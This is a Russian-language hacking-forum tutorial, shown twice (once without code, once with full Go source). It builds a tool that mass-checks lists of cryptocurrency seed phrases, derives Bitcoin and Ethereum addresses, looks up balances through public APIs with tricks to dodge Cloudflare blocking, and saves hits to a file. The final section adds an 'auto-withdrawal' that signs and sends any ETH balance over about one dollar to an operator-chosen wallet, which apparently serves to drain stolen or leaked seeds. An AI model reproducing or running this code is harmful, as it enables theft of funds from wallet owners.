D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: miserylord
Эксклюзивно для форума: xss.is
Здравствуй, герои криптовалютного фронта!
Статья посвящена созданию программы для массовой проверки мнемонических фраз криптовалютных кошельков с использованием Golang в нескольких блокчейнах. Это проще, чем кажется! В первой части статьи мы разберем теоретические основы, а во второй займемся практической реализацией программы.
Исходный код программы доступен в виде архива, прикрепленного к этому сообщению, и может быть расширен для добавления поддержки большего числа блокчейнов.
Спойлер: Экскурс в тему
Seed-фраза — это человекочитаемая версия очень длинного и случайного числа, которая используется для создания и восстановления криптовалютного кошелька. Слова мнемонической фразы формируют мастер-ключ, который затем используется для генерации всех приватных ключей кошелька. Приватные ключи, в свою очередь, контролируют доступ к криптовалютным активам.
Когда вы создаете новый криптовалютный кошелек, он формирует сид-фразу. В основе всего лежит генерация случайных данных, или энтропии. Полученная энтропия разбивается на равные части, и каждой части сопоставляется определенное слово из заранее определенного словаря. Этот список слов стандартизирован, чтобы обеспечить совместимость между различными кошельками. Например, в рамках стандарта BIP-39 (Bitcoin Improvement Proposal 39) используется список из 2048 слов.
Seed-фраза является основой управления криптовалютным кошельком. Это буквально ключ доступа к активам!
Мнемонические фразы появились не сразу с выходом Биткоина, а лишь спустя несколько лет. Многие ранние криптовалютные кошельки сохраняли приватные ключи в виде файлов на локальных устройствах, однако это было неудобно. Seed-фразы значительно упрощают восстановление кошелька: достаточно запомнить всего несколько слов, а не случайную последовательность байт.
Предположим: у нас есть словарь из 2048 слов. Количество комбинаций: 2048^12. Это огромное число, которое выражается в 37-значном десятичном числе.
Для сравнения: количество атомов во всей видимой Вселенной оценивается примерно в 10^80. Таким образом, вероятность случайно угадать сид-фразу из 12 слов сравнима с вероятностью найти конкретный атом среди всех атомов Вселенной.
Чем длиннее сид-фраза, тем больше возможных комбинаций и тем сложнее её взломать. Больший словарь также увеличивает количество возможных комбинаций.
Даже при использовании самых мощных суперкомпьютеров для перебора всех возможных комбинаций потребуется астрономическое количество времени. Такие вычисления потребуют огромных вычислительных ресурсов, что делает их экономически нецелесообразными.
Говорят о квантовых компьютерах, которые представляют собой захватывающую область. На данный момент их воздействие на безопасность криптографических систем и атаки методом брутфорс остаётся ограниченным, хотя внимание к этой теме важно.
Математически, вероятность случайного подбора сид-фразы стремится к нулю.
Слабое место — не в математике, а в человеческом факторе: фишинг, неправильное хранение и мальвари.
Представьте себе книгу, которую нельзя подделать. Каждая страница этой книги — это блок данных, содержащий информацию о транзакциях. Блоки связаны между собой, образуя цепочку. И вот эта цепочка, которую невозможно разорвать или изменить, называется блокчейном.
Blockchain Demo - подробнее о блокчейне.
Концепция блокчейна одинакова, но разные блокчейны могут существенно отличаться друг от друга: механизм консенсуса (Proof of Work (PoW), Proof of Stake (PoS) или другой), масштабируемость, смарт-контракты, цель создания.
Суть в том, что блокчейн не один. В рамках кода я возьму несколько популярных — Ethereum и Bitcoin.
Теперь переходим к написанию кода!
Спойлер: Код
Самый старый блокчейн - блокчейн сети Биткоин.
Инициализируем проект. В первую очередь реализуем пакет с дополнительными функциями в папке utils, в файле utils.go:
C-подобный: Скопировать в буфер обмена
BIP32 — это стандарт, который описывает, как создавать и управлять иерархическими детерминированными кошельками. BIP39 — это стандарт, который описывает использование мнемонических фраз для генерации ключей. В коде я не использую механизм мьютексов во время записи в файл, поскольку запись происходит после проверки всех сидов. Более подробно о конкуренции можно почитать в статье про брутфорс почтовых сервисов.
Далее напишем основной код в файле main.go:
C-подобный: Скопировать в буфер обмена
Создадим папку btc с одноимённым файлом/пакетом для реализации функций проверки сид-фразы:
C-подобный: Скопировать в буфер обмена
BIP-44 (Bitcoin Improvement Proposal 44) — это стандарт, который описывает, как из одного мастер-ключа можно генерировать множество дочерних ключей и соответствующих адресов.
Проверяем код на валидном мнемонике и убеждаемся в его корректной работе.
Альтернатива использованию стороннего API — поднятие собственной ноды. Плюсы такого решения: независимость от сторонних сервисов и API, приватность (запросы не проходят через их серверы), полный контроль над синхронизацией и обработкой транзакций. Из минусов на август 2024 года размер полной ноды Bitcoin составляет примерно 500-600 ГБ.
Переходим к добавлению блокчейна Ethereum. Код файла eth.go пакета/папки eth.
C-подобный: Скопировать в буфер обмена
Внесем небольшие изменения в main.go.
C-подобный: Скопировать в буфер обмена
Также внесем изменения в utils.go.
C-подобный: Скопировать в буфер обмена
Добавим небольшое изменение в функцию Process в файле eth.go. При наличии баланса на кошельке он автоматически будет переводиться на другой кошелек.
C-подобный: Скопировать в буфер обмена
В файле `main.go` добавляем адрес кошелька и передаем его функции.
C-подобный: Скопировать в буфер обмена
Проверяем и видим новую транзакцию на кошельке.
Код можно расширять путем добавления других контрактов и блокчейн-сетей.
Трям! Пока!
Эксклюзивно для форума: xss.is
Здравствуй, герои криптовалютного фронта!
Статья посвящена созданию программы для массовой проверки мнемонических фраз криптовалютных кошельков с использованием Golang в нескольких блокчейнах. Это проще, чем кажется! В первой части статьи мы разберем теоретические основы, а во второй займемся практической реализацией программы.
Исходный код программы доступен в виде архива, прикрепленного к этому сообщению, и может быть расширен для добавления поддержки большего числа блокчейнов.
Разделы
- Экскурс в тему: Что такое seed-фразы, брутфорс атаки и блокчейны.
- Код: Написание программы, добавление поддержки нескольких блокчейнов, работа с горутинами, автоматический вывод баланса.
Спойлер: Экскурс в тему
Мнемоническая фраза
Seed-фраза — это человекочитаемая версия очень длинного и случайного числа, которая используется для создания и восстановления криптовалютного кошелька. Слова мнемонической фразы формируют мастер-ключ, который затем используется для генерации всех приватных ключей кошелька. Приватные ключи, в свою очередь, контролируют доступ к криптовалютным активам.
Когда вы создаете новый криптовалютный кошелек, он формирует сид-фразу. В основе всего лежит генерация случайных данных, или энтропии. Полученная энтропия разбивается на равные части, и каждой части сопоставляется определенное слово из заранее определенного словаря. Этот список слов стандартизирован, чтобы обеспечить совместимость между различными кошельками. Например, в рамках стандарта BIP-39 (Bitcoin Improvement Proposal 39) используется список из 2048 слов.
Seed-фраза является основой управления криптовалютным кошельком. Это буквально ключ доступа к активам!
Мнемонические фразы появились не сразу с выходом Биткоина, а лишь спустя несколько лет. Многие ранние криптовалютные кошельки сохраняли приватные ключи в виде файлов на локальных устройствах, однако это было неудобно. Seed-фразы значительно упрощают восстановление кошелька: достаточно запомнить всего несколько слов, а не случайную последовательность байт.
Атака методом перебора комбинаций (брутфорс)
Предположим: у нас есть словарь из 2048 слов. Количество комбинаций: 2048^12. Это огромное число, которое выражается в 37-значном десятичном числе.
Для сравнения: количество атомов во всей видимой Вселенной оценивается примерно в 10^80. Таким образом, вероятность случайно угадать сид-фразу из 12 слов сравнима с вероятностью найти конкретный атом среди всех атомов Вселенной.
Чем длиннее сид-фраза, тем больше возможных комбинаций и тем сложнее её взломать. Больший словарь также увеличивает количество возможных комбинаций.
Даже при использовании самых мощных суперкомпьютеров для перебора всех возможных комбинаций потребуется астрономическое количество времени. Такие вычисления потребуют огромных вычислительных ресурсов, что делает их экономически нецелесообразными.
Говорят о квантовых компьютерах, которые представляют собой захватывающую область. На данный момент их воздействие на безопасность криптографических систем и атаки методом брутфорс остаётся ограниченным, хотя внимание к этой теме важно.
Математически, вероятность случайного подбора сид-фразы стремится к нулю.
Слабое место — не в математике, а в человеческом факторе: фишинг, неправильное хранение и мальвари.
Блокчейн
Представьте себе книгу, которую нельзя подделать. Каждая страница этой книги — это блок данных, содержащий информацию о транзакциях. Блоки связаны между собой, образуя цепочку. И вот эта цепочка, которую невозможно разорвать или изменить, называется блокчейном.
Blockchain Demo - подробнее о блокчейне.
Концепция блокчейна одинакова, но разные блокчейны могут существенно отличаться друг от друга: механизм консенсуса (Proof of Work (PoW), Proof of Stake (PoS) или другой), масштабируемость, смарт-контракты, цель создания.
Суть в том, что блокчейн не один. В рамках кода я возьму несколько популярных — Ethereum и Bitcoin.
Теперь переходим к написанию кода!
Спойлер: Код
Bitcoin
Самый старый блокчейн - блокчейн сети Биткоин.
Инициализируем проект. В первую очередь реализуем пакет с дополнительными функциями в папке utils, в файле utils.go:
C-подобный: Скопировать в буфер обмена
Код:
package utils
import (
"bufio"
"fmt"
"os"
"strings"
"github.com/tyler-smith/go-bip32"
"github.com/tyler-smith/go-bip39"
)
// 1
type BTCResult struct {
Address string `json:"address"`
Balance float64 `json:"balance"`
}
// 2
type Result struct {
Mnemonic string `json:"mnemonic"`
BTCAddress string `json:"btc_address"`
BTCCoins float64 `json:"btc_coins"`
}
// 3
func ReadLines(file *os.File) ([]string, error) {
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
lines = append(lines, line)
}
}
if err := scanner.Err(); err != nil {
return nil, fmt.Errorf("ошибка чтения файла: %v", err)
}
return lines, nil
}
// 4
func SaveResults(results []Result) error {
file, err := os.Create("results.txt")
if err != nil {
return fmt.Errorf("ошибка создания файла результатов: %v", err)
}
defer file.Close()
for _, result := range results {
line := fmt.Sprintf("Mnemonic: %s\nBTC Address: %s\nBTC Balance: %.8f\n",
result.Mnemonic,
result.BTCAddress,
result.BTCCoins,
)
_, err := file.WriteString(line)
if err != nil {
return fmt.Errorf("ошибка записи результатов в файл: %v", err)
}
}
return nil
}
// 5
func IsMnemonicValid(mnemonic string) bool {
return bip39.IsMnemonicValid(mnemonic)
}
// 6
func NewSeed(mnemonic string) []byte {
return bip39.NewSeed(mnemonic, "")
}
// 7
func NewMasterKey(seed []byte) (*bip32.Key, error) {
return bip32.NewMasterKey(seed)
- Эта структура хранит результат для одного BTC адреса, включая адрес и баланс.
- Эта структура используется для хранения результатов, включающих мнемоническую фразу, BTC адрес и количество BTC.
- Функция для построчного чтения файла, которая будет использоваться для чтения файла с сид-фразами.
- Функция, которая создает (или перезаписывает) файл results.txt и записывает в него результаты после проверки.
- Проверяет, является ли строка валидной мнемонической фразой с использованием BIP39. Не каждая из 12 слов является валидной фразой (даже если все слова из 2048 слов словаря, существует хитрость в порядке их расположения).
- Генерирует сид из мнемонической фразы. Параметр "" указывает, что не используется пароль для усиления сида.
- Создает новый мастер-ключ из предоставленного сида. Возвращает указатель на ключ и ошибку, если таковая возникает.
BIP32 — это стандарт, который описывает, как создавать и управлять иерархическими детерминированными кошельками. BIP39 — это стандарт, который описывает использование мнемонических фраз для генерации ключей. В коде я не использую механизм мьютексов во время записи в файл, поскольку запись происходит после проверки всех сидов. Более подробно о конкуренции можно почитать в статье про брутфорс почтовых сервисов.
Далее напишем основной код в файле main.go:
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"fmt"
"log"
"os"
"sync"
"se/btc"
"se/utils"
)
// 1
const (
seedFilePath = "seeds.txt"
outputFilePath = "results.txt"
workersCount = 10
)
func main() {
// 2
seedFile, err := os.Open(seedFilePath)
if err != nil {
log.Fatalf("Ошибка открытия файла сид-фраз: %v", err)
}
defer seedFile.Close()
// 3
seeds, err := utils.ReadLines(seedFile)
if err != nil {
log.Fatalf("Ошибка чтения файла сид-фраз: %v", err)
}
// 4
var wg sync.WaitGroup
resultChan := make(chan utils.Result, len(seeds))
// 5
sem := make(chan struct{}, workersCount)
// 6
for _, mnemonic := range seeds {
wg.Add(1)
go func(mnemonic string) {
defer wg.Done()
sem <- struct{}{}
defer func() { <-sem }()
if !utils.IsMnemonicValid(mnemonic) {
fmt.Printf("Некорректная сид-фраза: %s\n", mnemonic)
return
}
seed := utils.NewSeed(mnemonic)
masterKey, err := utils.NewMasterKey(seed)
if err != nil {
log.Printf("Ошибка создания мастер-ключа: %v\n", err)
return
}
btcResult, err := btc.Process(masterKey)
if err != nil {
log.Printf("Ошибка обработки Bitcoin: %v\n", err)
return
}
result := utils.Result{
Mnemonic: mnemonic,
BTCAddress: btcResult.Address,
BTCCoins: btcResult.Balance,
}
resultChan <- result
}(mnemonic)
}
// 7
wg.Wait()
close(resultChan)
// 8
results := []utils.Result{}
for result := range resultChan {
results = append(results, result)
}
// 9
if err := utils.SaveResults(results); err != nil {
log.Fatalf("Ошибка сохранения результатов: %v", err)
}
}
- Определяем константы, которые содержат путь к файлу с сид-фразами, путь для сохранения результатов и количество горутин, которые будут одновременно обрабатывать сид-фразы.
- Открываем файл с сид-фразами.
- Читаем все строки из файла seeds.txt и возвращаем их в виде среза строк.
- Инициализация синхронизации и каналов: WaitGroup для ожидания завершения всех горутин, канал для передачи результатов обработки из горутин в основную функцию с размером буфера, равным количеству сид-фраз.
- Буферизированный канал, выступающий в роли семафора. Он ограничивает количество одновременно работающих горутин до значения workersCount (в данном случае 10).
- Конкурентная обработка сид-фраз: увеличиваем счётчик WaitGroup, запускаем анонимную функцию в отдельной горутине, отправляем пустую строку в семафор, блокируя горутину, если уже запущено 10 других. defer освобождает семафор. Проверяем валидность сид-фразы, генерируем приватный ключ, затем создаём мастер-ключ. Далее обрабатываем мастер-ключ для получения Bitcoin-адреса и баланса (эту функцию реализуем ниже). В конце отправляем результат обработки в канал resultChan.
- Ожидание завершения всех горутин и закрытие канала.
- Чтение результатов из канала resultChan и добавление их в срез results.
- Сохранение результатов в файл.
Создадим папку btc с одноимённым файлом/пакетом для реализации функций проверки сид-фразы:
C-подобный: Скопировать в буфер обмена
Код:
package btc
import (
"encoding/json"
"fmt"
"math/rand"
"net/http"
"strconv"
"time"
"se/utils"
// 1
"github.com/btcsuite/btcd/btcec/v2"
"github.com/btcsuite/btcd/btcutil"
"github.com/btcsuite/btcd/chaincfg"
"github.com/tyler-smith/go-bip32"
)
// 2
type BalanceResponse struct {
Address string `json:"address"`
TotalReceived int64 `json:"total_received"`
TotalSent int64 `json:"total_sent"`
Balance int64 `json:"balance"`
Unconfirmed int64 `json:"unconfirmed_balance"`
}
// 3
func Process(masterKey *bip32.Key) (utils.BTCResult, error) {
var result utils.BTCResult
// 4
path := []uint32{
44 + bip32.FirstHardenedChild,
0 + bip32.FirstHardenedChild,
0 + bip32.FirstHardenedChild,
0,
0,
}
// 5
childKey := masterKey
for _, i := range path {
var err error
childKey, err = childKey.NewChildKey(i)
if err != nil {
return result, fmt.Errorf("Ошибка создания дочернего ключа: %v", err)
}
}
// 6
privateKey, _ := btcec.PrivKeyFromBytes(childKey.Key)
publicKey := privateKey.PubKey()
address, err := btcutil.NewAddressPubKey(publicKey.SerializeCompressed(), &chaincfg.MainNetParams)
if err != nil {
return result, fmt.Errorf("Ошибка создания Bitcoin-адреса: %v", err)
}
// 7
balance, err := getBalanceFromAPI(address.EncodeAddress())
if err != nil {
return result, fmt.Errorf("Ошибка получения баланса: %v", err)
}
// 8
result.Address = address.EncodeAddress()
result.Balance = float64(balance) / 1e8
return result, nil
}
// 9
func getBalanceFromAPI(address string) (int64, error) {
randomParam := strconv.Itoa(rand.Intn(100000))
url := fmt.Sprintf("https://api.blockcypher.com/v1/btc/main/addrs/%s/balance?rnd=%s&time=%d", address, randomParam, time.Now().UnixNano())
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return 0, fmt.Errorf("Ошибка создания запроса: %v", err)
}
req.Header.Add("X-Random-Header", strconv.Itoa(rand.Intn(100000)))
req.Header.Add("User-Agent", "Go-http-client/1.1")
req.Header.Add("Cache-Control", "no-cache")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return 0, fmt.Errorf("Ошибка выполнения запроса: %v", err)
}
defer resp.Body.Close()
var balanceResponse BalanceResponse
if err := json.NewDecoder(resp.Body).Decode(&balanceResponse); err != nil {
return 0, fmt.Errorf("Ошибка декодирования ответа: %v", err)
}
return balanceResponse.Balance, nil
}
- Для взаимодействия с нодой используем библиотеку github.com/btcsuite/btcd.
- Эта структура соответствует JSON-ответу от API, которое предоставляет информацию о балансе Bitcoin-адреса. Поля структуры соответствуют полям JSON-ответа.
- Функция обработки мастер-ключа.
- Определение пути (path): это массив целых чисел, представляющий путь для создания дочерних ключей в соответствии с протоколом BIP-44.
- Генерация дочернего ключа. Начальная точка — мастер-ключ. Для каждого значения в пути создаётся новый дочерний ключ с использованием функции NewChildKey. childKey.NewChildKey(i) — создаёт новый дочерний ключ на каждом уровне иерархии.
- Создание приватного и публичного ключей: генерируем приватный ключ на основе байтов дочернего ключа, получаем соответствующий публичный ключ из приватного ключа, создаём адрес на основе публичного ключа в основной сети MainNet.
- Вызов функции для получения баланса на Bitcoin-адресе через API.
- Запись адреса в результат. Баланс конвертируется из сатоши в биткойны (разделив на 1e8, так как 1 биткойн = 100,000,000 сатоши). Возвращаем заполненную структуру result и nil для ошибки, указывая, что всё прошло успешно.
- Функция для получения баланса из API: используется API BlockCypher. Случайный параметр добавлен в URL, поскольку это помогает избегать блокировок со стороны Cloudflare. Отправляем GET-запрос, создаём HTTP-клиент, выполняем запрос, декодируем тело ответа в структуру BalanceResponse, возвращаем баланс в сатоши.
BIP-44 (Bitcoin Improvement Proposal 44) — это стандарт, который описывает, как из одного мастер-ключа можно генерировать множество дочерних ключей и соответствующих адресов.
Проверяем код на валидном мнемонике и убеждаемся в его корректной работе.
Альтернатива использованию стороннего API — поднятие собственной ноды. Плюсы такого решения: независимость от сторонних сервисов и API, приватность (запросы не проходят через их серверы), полный контроль над синхронизацией и обработкой транзакций. Из минусов на август 2024 года размер полной ноды Bitcoin составляет примерно 500-600 ГБ.
Ethereum
Переходим к добавлению блокчейна Ethereum. Код файла eth.go пакета/папки eth.
C-подобный: Скопировать в буфер обмена
Код:
package eth
import (
"context"
"crypto/ecdsa"
"fmt"
"math/big"
"strings"
// 1
"github.com/ethereum/go-ethereum"
"github.com/ethereum/go-ethereum/accounts/abi"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/ethclient"
"github.com/tyler-smith/go-bip32"
)
// 2
type ETHResult struct {
Address string `json:"address"`
Balance float64 `json:"balance"`
USDTBalance float64 `json:"usdt_balance"`
}
// 3
var erc20ABI = `[{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]`
// 4
func Process(masterKey *bip32.Key) (ETHResult, error) {
var result ETHResult
// 5
path := []uint32{
44 + bip32.FirstHardenedChild,
60 + bip32.FirstHardenedChild,
0 + bip32.FirstHardenedChild,
0,
0,
}
// 6
childKey := masterKey
for _, i := range path {
var err error
childKey, err = childKey.NewChildKey(i)
if err != nil {
return result, fmt.Errorf("Ошибка создания дочернего ключа: %v", err)
}
}
// 7
privateKey, err := crypto.ToECDSA(childKey.Key)
if err != nil {
return result, fmt.Errorf("Ошибка извлечения приватного ключа: %v", err)
}
// 8
publicKey := privateKey.Public().(*ecdsa.PublicKey)
address := crypto.PubkeyToAddress(*publicKey)
result.Address = address.Hex()
// 9
client, err := ethclient.Dial("https://mainnet.infura.io/v3/")
if err != nil {
return result, fmt.Errorf("Ошибка подключения к сети Ethereum: %v", err)
}
// 10
balance, err := client.BalanceAt(context.Background(), address, nil)
if err != nil {
return result, fmt.Errorf("Ошибка получения баланса: %v", err)
}
// 11
f := new(big.Float)
f.SetString(balance.String())
f.Quo(f, big.NewFloat(1e18))
result.Balance, _ = f.Float64()
// 12
usdtAddress := common.HexToAddress("0xdAC17F958D2ee523a2206206994597C13D831ec7")
// 13
usdtBalance, err := getTokenBalance(client, usdtAddress, address)
if err != nil {
return result, fmt.Errorf("Ошибка получения баланса USDT: %v", err)
}
// 14
usdtFloat := new(big.Float).SetInt(usdtBalance)
usdtFloat.Quo(usdtFloat, big.NewFloat(1e6))
result.USDTBalance, _ = usdtFloat.Float64()
return result, nil
}
// 15
func getTokenBalance(client *ethclient.Client, tokenAddress common.Address, userAddress common.Address) (*big.Int, error) {
parsedABI, err := abi.JSON(strings.NewReader(erc20ABI))
if err != nil {
return nil, fmt.Errorf("ошибка разбора ABI: %v", err)
}
data, err := parsedABI.Pack("balanceOf", userAddress)
if err != nil {
return nil, fmt.Errorf("ошибка упаковки данных вызова: %v", err)
}
callMsg := ethereum.CallMsg{
To: &tokenAddress,
Data: data,
}
result, err := client.CallContract(context.Background(), callMsg, nil)
if err != nil {
return nil, fmt.Errorf("ошибка вызова контракта: %v", err)
}
outputs, err := parsedABI.Unpack("balanceOf", result)
if err != nil {
return nil, fmt.Errorf("ошибка распаковки данных вызова: %v", err)
}
balance := outputs[0].(*big.Int)
return balance, nil
}
- Для взаимодействия с сетью Ethereum воспользуемся библиотекой github.com/ethereum/go-ethereum.
- Структура для хранения информации о результатах работы функции.
- JSON-строка, представляющая ABI (Application Binary Interface) для контракта ERC-20. Используется для вызова функции balanceOf, которая возвращает баланс токенов для указанного адреса.
- Основная функция, принимающая мастер-ключ и возвращающая ETHResult.
- Генерация пути, как и ранее с сетью Bitcoin.
- Генерация дочерних ключей.
- Извлечение приватного ключа.
- Генерация Ethereum-адреса из публичного ключа.
- Подключение к узлу Ethereum через Infura API (ключ удален из кода, лимит для бесплатной проверки по API — 100 тыс. запросов в день).
- Получение баланса ETH для указанного адреса.
- Конвертация баланса из wei (1 ETH = 1e18 wei) в ETH.
- Помимо основного кошелька, я проверяю баланс USDT токенов. Можно добавить проверку большего количества токенов. Для получения баланса токена необходимо найти адрес контракта. В данном случае переменная содержит адрес контракта USDT в сети Ethereum.
- Вызов функции для получения баланса USDT для указанного адреса.
- Конвертация баланса USDT из базовых единиц в формат с 6 знаками после запятой.
- Функция для получения баланса токенов ERC-20 (в данном случае USDT). Функция использует ABI для упаковки данных вызова и декодирования ответа от контракта. ABI служит интерфейсом между Go-кодом и смарт-контрактом Ethereum. Используется метод CallContract для вызова функции контракта и получения результата. Полученный результат декодируется в требуемый формат и возвращается как значение баланса.
Внесем небольшие изменения в main.go.
C-подобный: Скопировать в буфер обмена
Код:
// 1
result := utils.Result{
Mnemonic: mnemonic,
}
// 2
btcResult, err := btc.Process(masterKey)
if err != nil {
log.Printf("Ошибка обработки Bitcoin для сид-фразы %s: %v\n", mnemonic, err)
} else {
result.BTCAddress = btcResult.Address
result.BTCCoins = btcResult.Balance
}
// 3
ethResult, err := eth.Process(masterKey, recipient)
if err != nil {
log.Printf("Ошибка обработки Ethereum для сид-фразы %s: %v\n", mnemonic, err)
} else {
result.ETHAddress = ethResult.Address
result.ETHCoins = ethResult.Balance
result.USDTBalance = ethResult.USDTBalance
}
// 4
if result.BTCAddress != "" || result.ETHAddress != "" {
resultChan <- result
}
- Инициализация пустого результата.
- Обработка Bitcoin: если ошибок нет, сохраняем результат BTC.
- Обработка Ethereum: если ошибок нет, сохраняем результат ETH.
- Если хотя бы один из результатов заполнен, отправляем результат.
Также внесем изменения в utils.go.
C-подобный: Скопировать в буфер обмена
Код:
type ETHResult struct {
Address string `json:"address"`
Balance float64 `json:"balance"`
USDTBalance float64 `json:"usdt_balance"`
}
type Result struct {
Mnemonic string `json:"mnemonic"`
BTCAddress string `json:"btc_address"`
BTCCoins float64 `json:"btc_coins"`
ETHAddress string `json:"eth_address"`
ETHCoins float64 `json:"eth_coins"`
USDTBalance float64 `json:"usdt_balance"`
}
for _, result := range results {
line := fmt.Sprintf("Mnemonic: %s\nBTC Address: %s\nBTC Balance: %.8f\nETH Address: %s\nETH Balance: %.8f\nUSDT Balance: %.6f\n",
result.Mnemonic,
result.BTCAddress,
result.BTCCoins,
result.ETHAddress,
result.ETHCoins,
result.USDTBalance,
)
Автовывод
Добавим небольшое изменение в функцию Process в файле eth.go. При наличии баланса на кошельке он автоматически будет переводиться на другой кошелек.
C-подобный: Скопировать в буфер обмена
Код:
// 1
func Process(masterKey *bip32.Key, recipient string) (ETHResult, error) {
var result ETHResult
path := []uint32{
44 + bip32.FirstHardenedChild,
60 + bip32.FirstHardenedChild,
0 + bip32.FirstHardenedChild,
0,
0,
}
childKey := masterKey
for _, i := range path {
var err error
childKey, err = childKey.NewChildKey(i)
if err != nil {
return result, fmt.Errorf("Ошибка создания дочернего ключа: %v", err)
}
}
privateKey, err := crypto.ToECDSA(childKey.Key)
if err != nil {
return result, fmt.Errorf("Ошибка извлечения приватного ключа: %v", err)
}
publicKey := privateKey.Public().(*ecdsa.PublicKey)
address := crypto.PubkeyToAddress(*publicKey)
result.Address = address.Hex()
client, err := ethclient.Dial("https://mainnet.infura.io/v3/")
if err != nil {
return result, fmt.Errorf("Ошибка подключения к сети Ethereum: %v", err)
}
balance, err := client.BalanceAt(context.Background(), address, nil)
if err != nil {
return result, fmt.Errorf("Ошибка получения баланса: %v", err)
}
// 2
f := new(big.Float)
f.SetString(balance.String())
f.Quo(f, big.NewFloat(1e18))
result.Balance, _ = f.Float64()
// 3
minBalance := big.NewInt(390000000000000)
if balance.Cmp(minBalance) > 0 {
// 4
gasPrice, err := client.SuggestGasPrice(context.Background())
if err != nil {
return result, fmt.Errorf("Ошибка получения цены за газ: %v", err)
}
// 5
gasLimit := uint64(21000)
// 6
gasCost := new(big.Int).Mul(gasPrice, big.NewInt(int64(gasLimit)))
// 7
if balance.Cmp(gasCost) > 0 {
// 8
value := new(big.Int).Sub(balance, gasCost)
nonce, err := client.PendingNonceAt(context.Background(), address)
if err != nil {
return result, fmt.Errorf("Ошибка получения nonce: %v", err)
}
toAddress := common.HexToAddress(recipient)
tx := types.NewTransaction(nonce, toAddress, value, gasLimit, gasPrice, nil)
chainID, err := client.NetworkID(context.Background())
if err != nil {
return result, fmt.Errorf("Ошибка получения chainID: %v", err)
}
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
if err != nil {
return result, fmt.Errorf("Ошибка подписания транзакции: %v", err)
}
err = client.SendTransaction(context.Background(), signedTx)
if err != nil {
return result, fmt.Errorf("Ошибка отправки транзакции: %v", err)
}
log.Printf("Транзакция отправлена: %s", signedTx.Hash().Hex())
} else {
log.Println("Недостаточно средств для отправки транзакции с учетом комиссии.")
}
}
- Добавим аргумент recipient типа string, который будет представлять собой адрес для вывода.
- Конвертация баланса в Ether.
- Проверка, если баланс больше чем 0.00039 ETH (390000000000000 Wei или 1 доллар по текущему курсу).
- Получение цены за газ.
- Примерная оценка газа для транзакции (21000 единиц газа для простой передачи ETH).
- Расчет комиссии.
- Проверка, можем ли мы отправить всю сумму с учетом комиссии.
- Отправка транзакции. Отправляем весь баланс минус комиссию. Формируем, подписываем и отправляем транзакцию.
В файле `main.go` добавляем адрес кошелька и передаем его функции.
C-подобный: Скопировать в буфер обмена
Код:
recipient = ""
ethResult, err := eth.Process(masterKey, recipient)
Проверяем и видим новую транзакцию на кошельке.
Код можно расширять путем добавления других контрактов и блокчейн-сетей.
Трям! Пока!